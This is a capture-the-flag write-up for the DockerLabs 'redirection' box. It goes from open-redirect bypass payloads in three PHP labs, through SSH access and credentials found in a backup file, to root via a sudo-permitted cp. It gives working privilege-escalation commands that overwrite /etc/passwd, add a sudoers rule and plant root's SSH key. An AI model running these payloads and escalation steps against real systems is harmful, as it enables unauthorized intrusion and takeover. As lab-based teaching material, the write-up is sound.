7 min read

DockerLabs redirection Writeup: Open Redirect to Root

DockerLabs redirection Writeup: Open Redirect to Root
Platform: DockerLabs.es 
Author: El Pingüino de Mario community Environment: WSL2 Kali Linux

0. Introduction

This is the first post in this site's DockerLabs series, so I'm documenting the environment setup in full here. Every later box reuses the same workflow, and I won't repeat it. DockerLabs is a Spanish security-practice platform whose boxes are packaged as Docker containers (a .tar image plus an auto_deploy.sh deployment script). Compared with VulnHub's .ova files (which need libvirt/KVM or VMware), it's far more lightweight — deployment takes seconds.

The teaching focus of redirection is Open Redirect, with three labs that progress from no protection at all the way up to a misuse of parse_url, step by step. But it isn't a pure web-only training box — after you earn the official SSH credentials by clearing the web challenges, there's a complete "lateral movement + privilege escalation" chain hidden behind them. It makes for an excellent end-to-end beginner tutorial.

1. Environment setup (WSL2 + Docker)

1.1 Starting the Docker daemon

WSL2 has no systemd by default (unless you enable it in /etc/wsl.conf), so start Docker with service:

sudo service docker start        # use this when there's no systemd
# or sudo systemctl start docker  (only if systemd is enabled)
docker info | head               # confirm the daemon is alive

1.2 Deployment

The official standard workflow (auto_deploy.sh)

After extracting, you get a .tar image and an auto_deploy.sh script. The script automatically runs docker load and starts the container, hanging in the foreground while it prints the container IP. When you're done, hit Ctrl+C to tear the whole environment down in one go:

unzip redirection.zip -d redirection && cd redirection
ls -al                                    # auto_deploy.sh + redirection.tar
sudo bash auto_deploy.sh redirection.tar  # holds the foreground; attack from another tab

1.3 Improving the WSLg GUI experience

If you're doing everything from inside Kali, launching a graphical browser directly through WSLg is the easiest route. A few essential tweaks:

sudo apt install -y firefox-esr fonts-noto-cjk fonts-noto-color-emoji

WSL2 has no native NVIDIA Vulkan (it's missing the Mesa dzn driver), only llvmpipe (CPU software rendering). Firefox tries to use GPU acceleration by default and tends to glitch out visually, so you need to force software rendering; on a 4K screen you also want to scale things up. Add this line to ~/.bashrc (note it's bash, not zsh):

alias ff='GDK_SCALE=3 LIBGL_ALWAYS_SOFTWARE=1 MOZ_ENABLE_WAYLAND=1 firefox-esr'

After that, ff http://172.17.0.4 opens a scaled-up, stable Firefox. If the fonts/content still aren't big enough, you can tune layout.css.devPixelsPerPx in about:config.

2. Reconnaissance

First, confirm the host is up and check its services:

ping -c1 172.17.0.4
nmap -p- --min-rate 5000 -sS -n -Pn -vvv 172.17.0.4

The result matches what docker inspect implies: 80/tcp (Apache 2.4.62 Debian) and 22/tcp (OpenSSH).

Browsing to http://172.17.0.4/, the home page is a Spanish-language description of the Open Redirect lab, pointing to three challenge entry points — /laboratorio1, /laboratorio2, /laboratorio3 — along with a warning:

"Only use these credentials to log in over SSH after you've completed all the earlier challenges; otherwise the writeup you upload won't be counted. Username: balu / Password: balulero"

These credentials are the reward for clearing the challenges. The proper way to play is to break in on your own via the Open Redirect, so set them aside for now.

3. The three Open Redirect labs

Laboratorio 1 — No protection

Grab the home page HTML. Watch out for Apache's 301 directory redirect (a request without a trailing slash gets sent to the trailing-slash version), so fetch /laboratorio1/:

curl -s http://172.17.0.4/laboratorio1/ | grep -iE 'href|url|redirect|<a'
# <a href="redirect.php?url=http://google.com">Ir a otro sitio</a>

The redirect destination lives in the url parameter and is entirely user-controlled — a textbook Open Redirect entry point. Verify:

curl -s -I "http://172.17.0.4/laboratorio1/redirect.php?url=http://example.com"
HTTP/1.1 302 Found
Location: http://example.com          ← taken at face value, zero validation

Lab 1 solved. The danger here is phishing: an attacker can craft http://trusted-domain/redirect.php?url=http://phishing-site. The victim sees the familiar domain at the start, trusts it, and clicks — only to be silently redirected to a spoofed page. This is also a common precursor to bypassing OAuth/SSO redirect_uri allowlists.

Laboratorio 2 — Prefix-match bypass

The title changes to Restricted Redirect Example and the default value is now https://www.google.com. Three probes let us reverse-engineer the filter logic:

# sent                                              → result
url=http://example.com                              → 200 (blocked)
url=http://google.com.evil.com                      → 200 (blocked)
url=https://www.google.com.attacker.com             → 302 (passed!)
# payload Result Interpretation
1 http://example.com 200 blocked External site rejected
2 http://google.com.evil.com 200 blocked Just having the word google isn't enough
3 https://www.google.com.attacker.com 302 passed Starts with the full https://www.google.com → the flaw

The filter rule = "does it start with https://www.google.com (prefix match)". The mistake is that it only checks the prefix and ignores whatever follows:

https://www.google.com.attacker.com
└──── prefix that passes the check ────┘└─ real main domain: attacker.com ─┘

An independent second path to the same flaw is @ obfuscation (the userinfo trick), and both work:

url=https://www.google.com.evil.com/phish   → 302 (can carry a full phishing path)
url=https://[email protected]         → 302 (everything before @ is userinfo; actually connects to evil.com)

Lab 2 solved. Commit the @ obfuscation to memory — the browser discards everything before the @ as user info and actually connects to the host after the @, while the human eye mistakes the trusted domain at the start for the real destination.

Laboratorio 3 — parse_url + strpos misuse

The title and default link are the same as Lab 2, and the filter logic is hidden inside redirect.php. Black-box probing:

payload Result Observation
http://example.com 200 blocked External site rejected
https://www.google.com.evil.com 302 passed Prefix-style bypass still works
https://[email protected] 200 blocked The @ route is blocked here
//evil.com 200 blocked Protocol-relative is blocked
https://www.google.com%40evil.com 200 blocked %40 isn't decoded back to @

After getting root (see below), I went back and read the source. White-box confirmation of the reasoning:

<?php
$allowed_domain = 'google.com';
$url = isset($_GET['url']) ? $_GET['url'] : '';
$parsed_url = parse_url($url);
// Insecure validation: allowed as long as the host "contains" the google.com substring
if (isset($parsed_url['host']) && strpos($parsed_url['host'], $allowed_domain) !== false) {
    header("Location: $url");
    exit();
} else {
    echo "Redirección no permitida. Solo puedes redirigirte a Google.";
}
?>

The truth is more subtle than the black-box guess: Lab 3 correctly uses parse_url() to parse the host (it got half of it right), but then falls apart on the strpos($host, 'google.com') !== false "substring contains" comparison. Mapping each observation:

payload host from parse_url host contains google.com? Result
www.google.com.evil.com www.google.com.evil.com 302 passed
[email protected] evil.com 200 blocked
//evil.com no host 200 blocked
www.google.com%40evil.com evil.com (after decoding) 200 blocked

The reason @ gets blocked isn't that it's on a blacklist — it's that parse_url correctly identifies evil.com as the host, which doesn't contain the google.com substring. Since "containing it anywhere is enough," you can bypass the check by hiding google.com anywhere in the host:

url=http://google.com.attacker.com      → host = google.com.attacker.com (contains substring, passes)
url=http://evilgoogle.com.attacker.io   → host contains "google.com", actually connects to attacker.io (passes)

Lab 3 solved. The lesson: parsing correctly ≠ being secureparse_url was used correctly, only to be ruined by strpos's fuzzy comparison.

4. SSH foothold

With all three labs cleared, I can legitimately use the official credentials:

ssh [email protected]        # password balulero
id                          # uid=1000(balu) gid=1000(balu) groups=1000(balu),100(users)
sudo -l                     # balu isn't in sudoers

balu's home directory has only the default dotfiles, no flag.

5. Lateral movement: balu → balulito

Enumeration reveals a second user on the system, balulito, and that balu has read/write access to a backup file in the root directory:

ls -al /home
# drwx------ balulito  ← another user, home directory 700

find / -perm -4000 -type f 2>/dev/null    # all SUID binaries are standard system ones, nothing exploitable
find / -type f -writable 2>/dev/null | grep -vE '^/(proc|sys)'
# /secret.bak  ← a suspicious backup file in the root directory

Reading /secret.bak gives cleartext credentials directly:

cat /secret.bak
# balulito:balulerochingon

Switch users:

su balulito        # password balulerochingon

6. Privilege escalation: balulito → root

After switching identity and re-enumerating, balulito has one sudo rule:

sudo -l
# User balulito may run the following commands:
#     (ALL) NOPASSWD: /bin/cp

balulito can run cp as root, without a password. This is a classic privesc primitive from GTFOBins — "arbitrary file writes as root" means you can overwrite any critical system file. There are at least three paths to root:

Path A — Overwrite /etc/passwd (most reliable; doesn't require reading the original first)

# Generate a UID=0 account line with a password hash, append it, and copy it back
openssl passwd -1 -salt xyz pwned                     # yields $1$xyz$...
cp /etc/passwd /tmp/passwd
echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /tmp/passwd
sudo /bin/cp /tmp/passwd /etc/passwd
su hacker                                              # password pwned → uid=0

Path B — Append a sudoers rule

⚠️ /etc/sudoers is 0440 by default, so balulito can't read it, and directly cp-ing the original file will fail. Also, overwriting the entire /etc/sudoers would wipe the existing rules, which is extremely dangerous in a production environment — write into /etc/sudoers.d/ instead. A clean one-liner:

echo 'balulito ALL=(ALL) NOPASSWD: ALL' | sudo /bin/cp /dev/stdin /etc/sudoers.d/pwn
sudo su -

Path C — Plant an authorized_keys for root

ssh-keygen -f key -N ''
sudo /bin/cp key.pub /root/.ssh/authorized_keys
ssh -i key [email protected]

After running it, we have root:

whoami        # root
id            # uid=0(root)

This article is an educational security record of work done in an authorized local practice environment (DockerLabs). Please do not use these techniques against systems you don't have permission to test.